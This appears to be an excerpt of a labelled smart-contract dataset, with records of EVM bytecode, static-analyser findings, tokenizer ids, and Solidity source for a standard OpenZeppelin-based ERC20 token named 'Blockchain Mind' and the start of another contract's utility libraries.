6f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526017908201527f4465706f736974206973207374696c6c206c6f636b6564000000000000000000604082015260600190565b60208082526022908201527f456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252602c908201527f4552433732314d657461646174613a2055524920736574206f66206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252601f908201527f4465706f73697420616d6f756e74206d75737420626520706f73697469766500604082015260600190565b60208082526024908201527f55736572206973206e6f7420746865206f776e6572206f6620746865206465706040820152631bdcda5d60e21b606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526015908201527411195c1bdcda5d081a5cc81b9bdd081b1bd8dad959605a1b604082015260600190565b60208082526025908201527f46756e6473206e65656420746f206265206c6f636b656420666f7220736f6d656040820152642074696d6560d81b606082015260800190565b90815260200190565b918252602082015260400190565b60005b83811015613028578181015183820152602001613010565b8381111561109a5750506000910152565b6001600160a01b03811681146121ab57600080fd5b80151581146121ab57600080fd5b6001600160e01b0319811681146121ab57600080fdfe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea2646970667358221220e2efcfdd9c6d9799d15dfd284fd87cb8a3195d9988616b19a8f2bfa3bc0f818364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11387, 21486, 2683, 24594, 2094, 22275, 22025, 2692, 2278, 7959, 23833, 3676, 21057, 2063, 15136, 2549, 2098, 2497, 2549, 2094, 2487, 4246, 2278, 2475, 2050, 2575, 1013, 1013, 2051, 2000, 7570, 19422, 1030, 29267, 11960, 2080, 1012, 8917, 1013, 1013, 5371, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28967, 1013, 29464, 11890, 11387, 4842, 22930, 1012, 14017, 1030, 1058, 2509, 1012, 1018, 1012, 1015, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 9146, 5331, 4352, 6226, 2015, 2000, 2022, 2081, 3081, 16442, 1010, 2004, 4225, 1999, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,051
0x9620366a3e732f484b2dc63103bb0eef0dde1f33
// SPDX-License-Identifier: MIT pragma solidity ^0.7.5; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract BlockchainMindToken is ERC20 { /** * @dev Constructor Function that gives the Sender all of the created Tokens. */ constructor () ERC20("Blockchain Mind", "BCM") { _mint(msg.sender, 100000000 * (10 ** 18)); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec8560405180606001604052806025815260200161108a6025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fd16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fae6023913960400191505060405180910390fd5b610d3e838383610fa8565b610da981604051806060016040528060268152602001610ff3602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd582fefc7c48cf20da441eaac33242399adbcbd93e2ed7836df9506ad6125e664736f6c63430007050033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 11387, 21619, 2575, 2050, 2509, 2063, 2581, 16703, 2546, 18139, 2549, 2497, 2475, 16409, 2575, 21486, 2692, 2509, 10322, 2692, 4402, 2546, 2692, 14141, 2063, 2487, 2546, 22394, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1019, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,052
0x9620ee7b333341017bab1aee20236450cb7b9d59
// SPDX-License-Identifier: MIT // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 